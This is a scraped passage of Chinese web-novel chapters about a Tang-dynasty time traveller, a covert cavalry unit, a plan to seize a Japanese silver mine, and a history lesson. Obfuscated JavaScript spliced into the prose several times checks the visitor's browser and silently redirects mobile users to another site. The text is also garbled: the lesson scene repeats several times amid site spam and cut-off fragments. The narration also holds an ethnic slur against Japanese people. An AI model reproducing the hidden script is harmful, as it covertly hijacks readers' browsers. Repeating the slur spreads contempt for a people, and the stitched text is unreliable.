陈衍又等了许久,但牛进达和袁天罡他们显然没有停下来的意思。 他也不急,反正没事做,等着呗。 过了许久,他们才终于停下来,在袁天罡规划的大致路线上,又进行了完善。 紧接着陈衍说出了自己唯一的要求:“有关打仗方面的事,我不会插手,毕竟我不怎么懂打仗,我唯一的要求就是希望你们能稳!” “稳!懂吗?” 见他表情相当严肃,众人连忙答应下来。 陈衍满意道:“出门在外,万事需要小心,特别是离开咱们自己的国家,私兵进入他国境内,这是相当危险的事。” “平时各方面的统筹、决定,我希望你们能多听听国师和太史令的话。我跟陛下之所以让他们两人来当主将,是因为他们是我唯一能想到让你们在外可以大大增加安全性的人。” “咱们不是只出征一次,机会也同样不止一次,命才是最重要的,记住了。” 几人对视一眼,重重点头。 “好,无旌骑首次出征目标就这么定下来吧,能带回多少占城稻的粮种就带回多少,毕竟这东西你们一旦多带回一袋,百姓可能就能早一天吃上占城稻。” “你们接着商议吧,我回去给你们准备一些秘密武器,以此来保证你们的安全。” 陈衍起身留下一句话,然后跟他们打了声招呼便离开了。 倒是他说的秘密武器,引起了他们的好奇。 苏定方疑惑道:“渭国公难道还有好东西?比玄夜铠和陌刀还厉害?” 要知道,玄夜铠和陌刀就已经给了他们莫大的震撼了。 光是那陌刀,说是神兵利器也不为过。 越是了解陌刀,就越是明白,人马俱碎不是开玩笑的,而是事实。 “不太清楚!”牛进达咧嘴笑道:“这小子一向神神秘秘,但该说不说,他拿出的东西必不能差。” “咱们就等着他给咱们个惊喜吧!” “.” 从折冲府出来,时间已经快到 中午了。 陈衍便径直回了家。 推开主卧的门刚想去瞧瞧宝贝女儿便看到高阳趴在地上的一个垫子上 “哟练着呢?” 陈衍打了声招呼。 高阳头也不抬道:“关你屁事赶紧关门!” “怎么?”陈衍并不恼笑呵呵道:“你这是怕别人看见觉得丢面子?” “你关不关吧?” “关关关。”陈衍说着随手关上门来到床边见女儿睡着了有些失望。 但转瞬又兴奋起来兴致勃勃地看高阳练瑜伽。 高阳的动作自然是陈衍教的。 这玩意对孕妇身材的恢复是很有效果的绝对不是陈衍为了一己私欲才教的高阳。 当然啦你也别问陈衍一个大男人为什么会瑜伽懂的都懂。 他美滋滋欣赏了一会儿说:“你别光顾着练这个你得运动知道吧?” “按照我那些方法来不仅有助于你快点恢复还能强身健体让你个瘪犊子玩意儿多活两年。” 高阳自动过滤了不好的话闷闷道:“我认为你现在教我的这套方法很有用至少我确实在恢复你说的那些运动还是算了吧。” “我看你就是觉得丢人!”陈衍轻嗤哪里不懂她的想法。 要运动自然不能在房间里得去外面。 她怕别人看到。 高阳不说话了。 陈衍一边欣赏一边指导她动作中的错误说实话高阳什么都可以喷就是身材这方面没得喷特别是此时摆出瑜伽动作的高阳简直引人犯罪。 他又看了一会儿摇摇头“算啦算啦今日我心情好教你一套新的方法叫仰卧起坐专门用来练腰的你试试。” 高阳心里一喜起身等陈衍过来然后按照陈衍说的躺下。 结果陈衍便坐在了她腿上。 “来吧双手抱着头用腰部力量起身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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兕子气呼呼地扒拉开李丽质的手,再这样下去,自己什么时候能完成阿兄交给自己的任务? 这姐真不争气! 一天天啥也不是,骚话倒跟阿兄学了不少。 “反正你别管那么多,我自己心里有数。”李丽质板着脸,打算好好树立一下自己身为姐姐的威严。 “我告诉你.” “你别告诉我了。”兕子晃晃头,“你呀,就等着高阳阿姐生二胎,然后你心里还有数吧。” “我不管你了,啥也指望不上。” 说完,她轻哼一声,撒丫子跑路了。 李丽质目瞪口呆地看着妹妹离开的小背影,满脑子问号。 自己这妹妹.成精了? 这还是个小孩吗? 想起自己从前那个乖巧可爱,处处惹人心疼的好妹妹,再看现在这个哪哪对她不满意的妹妹。 李丽质那叫一个心塞。 陈衍虽然很会带孩子,教的知识也是令人叹为观止,但带出来的孩子好像有点不对啊! 她仔细想了想,才发现,自家妹妹.好像衍里衍气的。 “.” 夜晚来临,皇宫尽管灯火通明,却稍显安静。 李世民用过膳后,批阅了一会儿奏折,眼看时辰差不多,便准备休息了。 然而就在此刻,李君羡忽然来报。 “陛下,派去倭国的人回来了!” 李世民豁然起身,心头一阵激荡,快步走下来。 “情况怎么样?有没有带到具体的消息?是否真有一座银矿?” 李君羡道:“回陛下,据派出去的人带回的消息,渭国公所言非虚,位于倭国的出云内存在一座银矿,具体多大无从得知,但根据经验丰富的淘金人推测,这座银矿绝对不小。” “只是为了避免打草惊蛇,故此被派过去的人并未进行过多开采和探测,找到银矿的位置,他们带回了许多银矿石便赶紧回来了。” “好好好!李世民连说三个好字,激动得难以自抑。 银矿啊! 按照陈衍所说,那是一座足够开采几百年的巨大银矿啊! 开采几百年是什么概念? 那就是一座真正的银山,没有任何夸张,真正的银山! 有了此银矿,大唐便能迎来腾飞时刻。 而他的贞观,或许真的可以如陈衍所说,变成贞观盛世! 缓了缓心神,李世民来回踱步,扭头道:“那些派出去的人呢?叫几个过来,朕要亲自见他们! “是! 李世民按捺住自己的心情,重新坐了下来。 沉默一会儿,忽然咧嘴大笑! “哈哈哈哈,好小子,好小子啊!你当真没有说谎啊! 得到具体的消息,李世民心里最后一丝怀疑瞬间消散。 不是说从前李世民就不相信,而是陈衍所说的太吓人了。 足够开采几百年的巨大银矿,谁听了心里不哆嗦一下? 这特么跟天上掉馅饼一样,若不是李世民出于对陈衍的信任,说不定都要说他得了失心疯。 实在太难以置信了。 “彼其娘的!李世民突然骂了一句,“早知如此,当初就应该多给那小子一些人,八百**是不是有点少啊? 一旁的无舌听后汗颜。 八百对比什么十万大军、三十万大军确实听起来很少。 但陈衍整那玩意儿是重骑兵啊! 而且武器,铠甲、以及各方面配备甚至还要超过大唐最强的玄甲军,哪怕没有通过层层挑选的精锐,但有陈衍给的训练方法,以及陈衍亲自规划的军餐,无旌骑只需经历几场战火洗礼,毫无疑问便是一支王者之师。 这还少啊? 李世民想了想,轻声吩咐道:“派人请房杜二位爱卿,以及代国公、卢国公、翼国公、鄂国公过来,要快! “是,陛下! 无舌赶忙应下,然后犹 豫了一下小心翼翼地问:“陛下是否需要派人请一下渭国公?” 李世民摇头 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16707972|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“是!” 无舌离开不久李君羡便带着一对看上去年纪不小的父子走进来。 “陛下人带到了。” “草民胡金携子胡安叩见圣上。” 那名皮肤黝黑约莫六十岁的淘金人拉着儿子行大礼。 “平身吧!”李世民颔首随即仔细打量了一下这对父子转而问:“你们祖祖辈辈都是淘金的?” “回陛下草民祖上确实是淘金的传下了几分手艺一直跟随官府开采金银。” 李世民点点头然后来到父子俩面前进入了正题“朕问你那银矿具体的情况如何开采的难度大不大?好不好挖?” “这”胡金和儿子对视一眼不敢隐瞒:“陛下说实话草民祖辈挖了一辈子金银却从未见过那样的银矿。” “按理来说一般的金银矿都藏在山脉顶部或山体内部但不管是哪种其实都埋在土里的相当难找!” “可那座银矿上如果仔细找找的话甚至能在地上捡到银矿石尽管非常少不过确实存在。” “草民当时跟军爷找到那座银矿便觉得奇怪起初草民还以为那座银矿是随着时间变迁慢慢从山里暴露出来的。” “然而在草民跟那些军爷选定好几个位置进行浅层挖掘后下面出的银矿却越来越多。” “草民怀疑那座银矿的规模恐怕空前巨大比草民见过的任何银矿都要大可军爷说不能进行深度挖掘得先将消息传回来故此草民并不能肯定。” “你不能肯定但已经有人肯定了!”李世民哈哈大笑:“告诉朕那里有银矿的人说那是一座足够开采几百年的巨大银矿!” “你猜得没错!” 胡金父子俩脸色一变纷纷露出了喜色。 “好了你们带回来的银矿石在哪让朕瞧瞧。” “在外面草民这就去拿过来。” 不一会儿胡金父子两人带着背篓回来里面装的大多数是灰白色的矿石却有一块黑色的矿石**金摆在了上面。 “陛下请看灰白的那些是银矿表面的矿石含银并不多这块黑色才是矿脉的矿石.” “.” 第428章 大唐目前的局势 “真有银矿啊!” 杜如晦、房玄龄、程咬金这些被李世民半夜叫过来的人,围着胡金带回来的银矿石面面相觑。 “所以.渭国公说那是一座巨大的银矿也是真的?”杜如晦疑惑道。 李世民微微颔首,“根据派过去的淘金人猜测,那下面很可能是一座空前巨大的银矿。” “子安没说谎!” 此话一出,几人一怔,随即一个比一个激动。 “那还等什么?”尉迟恭大着嗓门:“陛下,臣提议即刻点兵,咱们马上打过去,踏平那所谓的倭国,必须将这座银矿拿下来!” “臣附议!”程咬金当即站出来说:“且臣愿为先锋,陛下只需给臣五万大军,明年今天之前,臣必将打下倭国!” “嘿!你个程老黑你想干什么?”尉迟恭瞪着大眼珠子,“明明是俺先来的,要去也是俺去!” 他转头说:“陛下,您别听他的,臣只需四万五将士,保管打下倭国,替陛下把银矿拿下来!” “你**!”程咬金不服了:“我只要四万!” “我三万五!” “那我就三万!” “都别争了!”李靖打断他们的话,站出来说:“陛下,臣有信心两万大军拿下倭国,只要不遭遇海上风暴,臣愿立下军令状,明年年初,捷报必将传回长安!” “你搁那吹啥呢?”程咬金恼怒,咋一个个都跟自己争呢? 还**卷! “倭国再怎么说都在海外,隔着不远的距离呢!你两万大军做船过去,先不说战士登岸情况如何,就算不晕船,保持着战斗力,两万大军声势不小,绝对会引来倭国全力打击,在没有任何补给,更不了解地形以及当地情况的局面下,两万大军那不送吗?” “打倭国,至少得需要三万,而且还是水上好手才行!” “放**屁!”李靖破口大骂,“打个小小的倭国,你还三万大军上了,我他娘打**厥,抓人家可汗的时候都没用上一万大军。” “两万在我手里就是行 !” “哎!这俺就有话要说了!”尉迟恭也站了出来。 三人立马开始了争吵唾沫横飞谁都不让谁。 但不管是李世民还是杜如晦他们都对此没有表现出什么特别的情绪。 因为早已习惯了。 一说起打仗这几人都是这么个货色。 几名将领中只有秦琼表现好点但从他跃跃欲试的模样来看显然也想去争上一争! 李世民揉了揉太阳穴“好了好了!别吵了你当朕这里是你们家呢?” 几人闻言这才停了下来可依旧是满脸不服的模样。 李世民扯了扯嘴角自己若是不打断的话他毫不怀疑这几人可以争上一整夜。 他淡淡道:“倭国肯定是要打的但不是现在!” 话落尉迟恭瞬间急了“陛下三思啊那么大一座银矿放在别人的地盘怎么能行?只有打下来才能彻底归属我大唐!” “怎么能不打呢?” 程咬金和李靖同样满脸不解可他们没尉迟恭那么急等待着李世民的回答。 “打打打你们就知道打!” 李世民怒道:“你们看清楚现在大唐的局势了吗?去年的万国来朝让你们飘了是吧?” “你们知道目前周围有多少异国对我们大唐虎视眈眈吗?你们又知道大唐等待这个休养生息的机会多久了吗?” “前几年天灾人祸不断今年好不容易可以缓缓你们几个脑子里就知道打仗。打仗不要钱?不要粮?动不动几万人马出征军饷谁出?军粮从哪来?” “士兵又从哪来?” “边境不管了?” 李世民怒喷给几人骂没脾气了 说更新,记住域名caixs?(请来才小 说 看最新章节 完整章节)蔫蔫地坐下来。 秦琼一副老实人模样心里暗自庆幸还好自己刚刚没跳出来。 只有杜如晦和房玄龄啥都不用管只顾看热闹。 李世民挥了挥手“克明你先给他们讲讲大唐目前的情况。” “是陛下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16707973|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !”杜如晦笑着点头对程咬金等人说:“诸位将军大唐目前确实不宜对远在海外的倭国动刀兵。” “从表面上看大唐目前局势一片欣欣向荣已经走向了强盛的开端可若仔细想想便能发现不对。” “吐谷浑是游牧国肉类充足其基础却脆弱无比跟贞观三年的**厥一样一旦遭遇大雪、旱灾、牲畜大量死亡生存便会受到严重威胁。” “为了弥补损失和获取必要的生活物资最直接的方式就是掠夺相邻的、富庶的国家也就是我们大唐!” “近些年来吐谷浑时常对大唐凉州进行骚扰、掠夺。在陛下经历万国来朝大唐即将走上强盛但还未从前些年天灾人祸中彻底缓过来的时期如果你们是吐谷浑的可汗你们会坐视大唐强盛起来从此之后只能俯首称臣再无一丝可能从大唐掠夺物资吗?” 一席话 此时此刻他们豁然惊醒倭国确实不是首先要解决的问题相反边境的吐谷浑以及其他异国才是目前最需要解决的问题。 杜如晦见他们听进去自己的话继续道:“吐谷浑说完那咱们接着说说高昌国等西域小国诸位恐怕不知这些小国已经开始阻断西域商路这已经不单单是挑衅恐怕他们存在阻碍大唐发展的心思是一个不小的隐患。” “吐蕃的松赞干布也开始统一高原若无意外的话很有可能成功。这些小国倘若跟西突厥一样**进行内战自然没什么威胁。” “但他们若是统一那有没有野心就不好说了!” 最后一句话彻底熄灭了程咬金三人即刻对海外倭国动兵的心思。 程咬金郁闷道:“那你说咋整?难道要我们眼巴巴看着那座银矿什么都不做吗?” “那自然不是。”杜如晦摇摇头却没有再继续说下去。 李世民此时道:“行了银矿的事本就是你们的好大侄儿告诉朕的以那小子的性格你们难道认为他会放过吗?” “今天叫你们来也是为了此事!” “你们的好大侄在朕的授意下与牛进达秘密组建了八百重骑兵现在已经证实银矿为真那你们也该出份力了。” “.” 第429章 节奏姐 “八百?”程咬金愕然。 “还他娘是重骑兵?”尉迟恭懵逼。 秦琼长叹道:“这小子真行啊,八百重骑兵啊,我竟然一点都不清楚。” 紧接着,他愤愤道:“我好大儿可是在那呢,难怪他之后老神神秘秘的,问他干了什么都不说,我还以为是被进达折腾惨了,不愿意提起呢。” 此话倒是提醒了程咬金和尉迟恭,他们俩儿子同样在那边啊! 情况跟秦琼一模一样啊! 三人咬牙切齿,恨不得当场过去给这几个臭小子大嘴巴。 李世民没好气道:“行了,是朕不让他们说的,你们别折腾他们,这三小子算是干了正事,那八百重骑兵算是他们手把手带出来的。” “当然,用的是子安的方法。” 本来李世民说这八百人是那三小子带出来的,秦琼他们险些被吓了一跳。 那三人什么本事他们这些当爹的还不清楚吗? 还带重骑兵? 他们压根没那个本事。 可一听用的是陈衍给的办法,三人一颗心顿时放了下来。 “陛下,您的打算是?”秦琼问。 李世民沉吟道:“事到如今,朕也不瞒你们,子安跟朕要了八百人组建一支名叫无旌骑的军队,本意是想让这支军队在暗中走出大唐,替大唐去寻找各种对大唐有利的东西。” “比如说一年两熟,甚至三熟的占城稻、一些游牧国的优秀马匹,先进的知识,技艺、以及倭国的银矿等。” “目前,无旌骑马上便要进行第一次出征了,目标是林邑国占城稻的粮种。毕竟民以食为天,早一日带回占城稻粮种,便可早一日种下,百姓也将早一日吃上。” “林邑国距离大唐并不远,而且国力孱弱,相信无旌骑用不了多久便能回来。届时,将他们派往倭国,进行一定的伪装,将银矿占领下来,再派人慢慢开采便是。” “反正按照子安所言,那是一座足够开采几百年的银矿,急这一会儿没什么意义。等大唐休养生息一段时间,解决了 边患,再即刻派兵打下倭国!” 众人听后,默默思索了一会儿,然后纷纷点头,认同了李世民的想法。 就目前来说,这确实是最好的办法。 因为倭国确实跟大唐隔着一片海,没有做好万全的准备,而且还在有边患的情况下,贸然攻打实乃不智之举。 派八百重骑兵过去占领一座在倭国人看来普通的山,或许会引起倭国的警惕,但以倭国人喜欢当狗的性子,加上他们并未完全统一,更多还是以各种小国**,以重骑兵的战斗力,占领一座山完全不是事。 更多的还是怎么及时给他们补给、进行挖掘银矿、运送的问题。 这同样是李世民收到消息马上叫他们来的原因。 提前的准备,肯定是要先做好的! 片刻后,秦琼轻声呢喃:“无旌骑唉。” 跟他一样,程咬金、尉迟恭、李靖他们同样猜到了这个名字的深意,心里五味杂陈。 虽然大唐的府兵制要求符合年龄的百姓必须参军,可不管是谁,在排除了被逼无奈之后,不想靠着军功实现阶级跨越? 对比靠读书那种在世家把控的路,靠军功出头无疑要公平太多。 陈衍的父亲便是最好的例子,在一场重大战役中,斩将!夺旗!一举跨越了不知多少个阶层。 可无旌骑,却是注定了无法享受荣耀,只能生活在暗中。 给自己的国家在外面干那些脏活儿,背着骂名前进。 程咬金心里说不出什么感受,喃喃自语: “陈衍啊!” “陈衍!” “.” “陈衍啊!” “陈衍!” 高阳咬着牙,愤愤道:“若你说的那些运动没有效果,你看我怎么弄死你。” “我很期待!”陈衍摊开手,一脸无所谓。 高阳最终还是屈服了,为了早日恢复自己的小肚子,迎着大家颇为怪异的目光做起了运动。 当然了,以她现在的情况 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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没过多久兕子洗漱完毕正要去睡觉忽然瞧见自家丽质阿姐翘着嘴角经过看起来心情很不错。 兕子眨眨眼讶异道:“节奏姐你好像很开心啊节奏姐!” 李丽质:“.” “.” 第430章 历史 五月初,清晨。 自从县衙不需要陈衍过多插手,有好几位未来的国家栋梁坐镇之后,百无聊赖的陈衍愈发喜欢给孩子们上课了。 当然,其中还混进去几个大孩子。 除了魏王之外,原本有一个李丽质喜欢听他上课,可高阳生完孩子之后,同样每天凑了过来。 再加上魏王的妻子,大孩子比小孩子还多。 不过,今日倒是出现了一点点意外情况嗯,应该是一点点。 “不是,你们这是要干啥啊?” 陈衍望着一大早屁颠屁颠跑到他府上的一群得力干将,人都傻了。 杜构干咳道:“陈兄,别装了,我都听说了,你在家教晋阳公主和魏王殿下他们仙术,现在他们一个个都会挥手成冰、载人飞翔。” “我们寻思着,你教几个是教,多教几个也是教,应该不介意多收几个学生吧?” 李义府、戴至德、张文瓘、马周纷纷点头,一脸热切地望着他。 跟陈衍接触这么久,他们自然清楚这不是什么仙术,而是一门叫做科学的学问。 科学有多神奇,那自然不必多说。 有魏王到处炫耀,他们早就了解热气球的存在,以及许许多多的科学小实验,从前天下间一些怪异的东西都能被科学所解释。 例如令人闻之色变的鬼火。 原来就是尸体腐烂分解之后,骨骼和牙齿中含有大量的什么.磷,在潮湿的环境中产生的自然现象。 不是什么山精鬼怪。 当然啦,除了这科学之外,陈衍所教导的数学什么的同样令人震撼。 一个三四岁的孩子,竟然能随便写写画画便可以算出难住国子监大儒的题。 这怎能不令人向往? “那你们都来了.县衙怎么办?”陈衍有些迟疑,他倒不是不愿意多教几个,毕竟这人都算是自己人。 教教没什么。 可那么个县衙,你们不管啦? “没关系的,我们上午上 两堂课马上回去,绝不会耽误正事的。”杜构连忙保证。 李义府笑呵呵地表示:“大人,你得相信我们的能力啊。” “就目前来说,县衙的事务其实并不需要我们操心太多,若说忙碌,其实就许姑娘一人忙碌罢了,我们还是很轻松的。” 陈衍:“.” “.行吧,你们过来。” 他犹豫了一下,最终答应了。 因为他明白,李义府说得没错。 渭南县再怎么样都只是个县城罢了,以这群人的能力,县衙那点事务对他们来说还真不算什么。 也只有负责买卖方面的许怜月每天忙得脚不沾地。 众人见他答应下来,心里一喜,乐呵呵地跟着陈衍来到府内一间专门改造出来的课堂里。 此刻,课堂内一群大大小小的学生端端正正地坐在课桌前,连高阳都老实了下来。 见陈衍带了一群人进来,他们脸色各异。 李丽质和高阳他们比较好奇,魏王则是比较高兴。 来渭南县这么久,他也早跟杜构他们混熟了。 “诸位,今后咱们便是同门了,以后请多指教,多指教哈。”李义府脸上挂着热切的笑,朝着一众老学员打招呼。 杜构还笑眯眯地对兕子挥了挥手,“晋阳小公主,咱们又见面啦。” 兕子瘪了瘪小嘴,“疑惑哥,你又来啦?今天又有什么疑惑?” 杜构:“.” 杜构有些尴尬,最近这段时间确实拉着晋阳公主问了许多问题。 没想到居然被晋阳公主安上了一个疑惑哥的名号。 李丽质嘴角微不可察地抽搐一下,什么都没说。 “好啦,都坐吧。”陈衍抬手虚按,示意他们安静下来。 新来的几人赶紧找空位置坐下,满脸期待。 陈衍沉吟片刻,道:“今天因为有几位新同学加入,而且新同学的身份比较特殊,平时有很多事要忙,所以我决定改变一下课的顺序,且新加入一门课。” “新课!老同学眼睛顿时亮了。 李泰当即举手,“陈先生,请问是什么新课? “嗯,李同学今天比较有礼貌,为师很欣慰。陈衍平淡地颔首,李泰眼角一抽。 “咳咳,新加入的课,是我临时决定的。陈衍站在讲台上,环顾众人,“在场的要么身份不凡,要么未来可期,像是杜同学他们算得上未来的朝廷栋梁。 “所以,我决定教教你们——历史! 历史? 同学们闻言皆面露疑惑,不太理解陈衍为何要教历史。 要说他们别的地方在陈衍面前可能跟小屁孩一样,什么都不懂,但在历史方面,他们一个个,包括李丽质都能算得上专家了。 史书都不知道被他们翻了多少遍,不说倒背如流,那也差不多。 这有什么好教的? 陈衍明白他们的疑惑,淡笑道:“你们或许认为,熟读史书的你们很了解历史,对历史上每一个名人都能如数家珍。 “但清楚归清楚,你们真的深入了解过吗? “引经据典不难,可引以为戒却难如登天! “就好比去年的大水,大水过后的瘟疫,历史上明确记载了发大水前各种前兆,然而你们这些熟读历史的人,有一个人发现吗? 短短几句话,瞬间让在场的人沉默了。 “为什么要学历史?对于这个问题,我相信你们都会感到疑惑。 “而我想说的是,历史是一幅宏大画卷,描绘了每个时代不灭的痕迹,记录了人性的善与恶,展现了它独特的魅力,让我们清楚地认知到自己的渺小。 “在这幅宏大的画卷里,或许有千变万化,但底层的规律,就是人性的规律。 “熟读历史,了解历史,走近历史,你们才能真正体会到它的魅力! 话落,诸多同学不敢大意,一个个正坐,面露郑重。 陈衍对此很满意,提出了今天第一个问题:“黄帝、蚩尤,相信大家都不陌生。 “那么提起这两位人物,你们首先想到什么? 高阳默默道:“涿鹿之战? “没错!陈衍赞同道:“就是涿鹿之战,它是我们华夏大地第一场大规模战争,其意义深远。 “那么这里就有一个问题了,涿鹿之战为什么爆发?黄帝和蚩尤为什么打起来? “. 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 “新课!”老同学眼睛顿时亮了。 李泰当即举手,“陈先生,请问是什么新课?” “嗯,李同学今天比较有礼貌,为师很欣慰。”陈衍平淡地颔首,李泰眼角一抽。 “咳咳,新加入的课,是我临时决定的。”陈衍站在讲台上,环顾众人,“在场的要么身份不凡,要么未来可期,像是杜同学他们算得上未来的朝廷栋梁。” “所以,我决定教教你们——历史!” 历史? 同学们闻言皆面露疑惑,不太理解陈衍为何要教历史。 要说他们别的地方在陈衍面前可能跟小屁孩一样,什么都不懂,但在历史方面,他们一个个,包括李丽质都能算得上专家了。 史书都不知道被他们翻了多少遍,不说倒背如流,那也差不多。 这有什么好教的? 陈衍明白他们的疑惑,淡笑道:“你们或许认为,熟读史书的你们很了解历史,对历史上每一个名人都能如数家珍。” “但清楚归清楚,你们真的深入了解过吗?” “引经据典不难,可引以为戒却难如登天!” “就好比去年的大水,大水过后的瘟疫,历史上明确记载了发大水前各种前兆,然而你们这些熟读历史的人,有一个人发现吗?” 短短几句话,瞬间让在场的人沉默了。 “为什么要学历史?对于这个问题,我相信你们都会感到疑惑。” “而我想说的是,历史是一幅宏大画卷,描绘了每个时代不灭的痕迹,记录了人性的善与恶,展现了它独特的魅力,让我们清楚地认知到自己的渺小。” “在这幅宏大的画卷里,或许有千变万化,但底层的规律,就是人性的规律。” “熟读历史,了解历史,走近历史,你们才能真正体会到它的魅力!” 话落,诸多同学不敢大意,一个个正坐,面露郑重。 陈衍对此很满意,提出了今天第一个问题:“黄帝、蚩尤,相信大家都不陌生。” “那么提起这两位人物,你们首先想到什么?” 高阳默默道:“涿鹿之战?” “没错!”陈衍赞同道:“就是涿鹿之战,它是我们华夏大地第一场大规模战争,其意义深远。” “那么这里就有一个问题了,涿鹿之战为什么爆发?黄帝和蚩尤为什么打起来?” “.” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 “新课!”老同学眼睛顿时亮了。 李泰当即举手,“陈先生,请问是什么新课?” “嗯,李同学今天比较有礼貌,为师很欣慰。”陈衍平淡地颔首,李泰眼角一抽。 “咳咳,新加入的课,是我临时决定的。”陈衍站在讲台上,环顾众人,“在场的要么身份不凡,要么未来可期,像是杜同学他们算得上未来的朝廷栋梁。” “所以,我决定教教你们——历史!” 历史? 同学们闻言皆面露疑惑,不太理解陈衍为何要教历史。 要说他们别的地方在陈衍面前可能跟小屁孩一样,什么都不懂,但在历史方面,他们一个个,包括李丽质都能算得上专家了。 史书都不知道被他们翻了多少遍,不说倒背如流,那也差不多。 这有什么好教的? 陈衍明白他们的疑惑,淡笑道:“你们或许认为,熟读史书的你们很了解历史,对历史上每一个名人都能如数家珍。” “但清楚归清楚,你们真的深入了解过吗?” “引经据典不难,可引以为戒却难如登天!” “就好比去年的大水,大水过后的瘟疫,历史上明确记载了发大水前各种前兆,然而你们这些熟读历史的人,有一个人发现吗?” 短短几句话,瞬间让在场的人沉默了。 “为什么要学历史?对于这个问题,我相信你们都会感到疑惑。” “而我想说的是,历史是一幅宏大画卷,描绘了每个时代不灭的痕迹,记录了人性的善与恶,展现了它独特的魅力,让我们清楚地认知到自己的渺小。” “在这幅宏大的画卷里,或许有千变万化,但底层的规律,就是人性的规律。” “熟读历史,了解历史,走近历史,你们才能真正体会到它的魅力!” 话落,诸多同学不敢大意,一个个正坐,面露郑重。 陈衍对此很满意,提出了今天第一个问题:“黄帝、蚩尤,相信大家都不陌生。” “那么提起这两位人物,你们首先想到什么?” 高阳默默道:“涿鹿之战?” “没错!”陈衍赞同道:“就是涿鹿之战,它是我们华夏大地第一场大规模战争,其意义深远。” “那么这里就有一个问题了,涿鹿之战为什么爆发?黄帝和蚩尤为什么打起来?” “.” 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 “新课!”老同学眼睛顿时亮了。 李泰当即举手“陈先生请问是什么新课?” “嗯李同学今天比较有礼貌为师很欣慰。”陈衍平淡地颔首李泰眼角一抽。 “咳咳新加入的课是我临时决定的。”陈衍站在讲台上环顾众人“在场的要么身份不凡要么未来可期像是杜同学他们算得上未来的朝廷栋梁。” “所以我决定教教你们——历史!” 历史? 同学们闻言皆面露疑惑不太理解陈衍为何要教历史。 要说他们别的地方在陈衍面前可能跟小屁孩一样什么都不懂但在历史方面他们一个个包括李丽质都能算得上专家了。 史书都不知道被他们翻了多少遍不说倒背如流那也差不多。 这有什么好教的? 陈衍明白他们的疑惑淡笑道:“你们或许认为熟读史书的你们很了解历史对历史上每一个名人都能如数家珍。” “但清楚归清楚你们真的深入了解过吗?” “引经据典不难可引以为戒却难如登天!” “就好比去年的大水大水过后的瘟疫历史上明确记载了发大水前各种前兆然而你们这些熟读历史的人有一个人发现吗?” 短短几句话瞬间让在场的人沉默了。 “为什么要学历史?对于这个问题我相信你们都会感到疑惑。” “而我想说的是历史是一幅宏大画卷描绘了每个时代不灭的痕迹记录了人性的善与恶展现了它独特的魅力让我们清楚地认知到自己的渺小。” “在这幅宏大的画卷里或许有千变万化但底层的规律就是人性的规律。” “熟读历史了解历史走近历史你们才能真正体会到它的魅力!” 话落诸多同学不敢大意一个个正坐 陈衍对此很满意提出了今天第一个问题:“黄帝、蚩尤相信大家都不陌生。” “那么提起这两位人物你们首先想到什么?” 高阳默默道:“涿鹿之战?” “没错!”陈衍赞同道:“就是涿鹿之战它是我们华夏大地第一场大规模战争其意义深远。” “那么这里就有一个问题了涿鹿之战为什么爆发?黄帝和蚩尤为什么打起来?” “.” 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 “新课!”老同学眼睛顿时亮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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话落诸多同学不敢大意一个个正坐 陈衍对此很满意提出了今天第一个问题:“黄帝、蚩尤相信大家都不陌生。” “那么提起这两位人物你们首先想到什么?” 高阳默默道:“涿鹿之战?” “没错!”陈衍赞同道:“就是涿鹿之战它是我们华夏大地第一场大规模战争其意义深远。” “那么这里就有一个问题了涿鹿之战为什么爆发?黄帝和蚩尤为什么打起来?” “.” 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 “新课!老同学眼睛顿时亮了。 李泰当即举手,“陈先生,请问是什么新课? “嗯,李同学今天比较有礼貌,为师很欣慰。陈衍平淡地颔首,李泰眼角一抽。 “咳咳,新加入的课,是我临时决定的。 “所以,我决定教教你们——历史! 历史? 同学们闻言皆面露疑惑,不太理解陈衍为何要教历史。 要说他们别的地方在陈衍面前可能跟小屁孩一样,什么都不懂,但在历史方面,他们一个个,包括李丽质都能算得上专家了。 史书都不知道被他们翻了多少遍,不说倒背如流,那也差不多。 这有什么好教的? 陈衍明白他们的疑惑,淡笑道:“你们或许认为,熟读史书的你们很了解历史,对历史上每一个名人都能如数家珍。 “但清楚归清楚,你们真的深入了解过吗? “引经据典不难,可引以为戒却难如登天! “就好比去年的大水,大水过后的瘟疫,历史上明确记载了发大水前各种前兆,然而你们这些熟读历史的人,有一个人发现吗? 短短几句话,瞬间让在场的人沉默了。 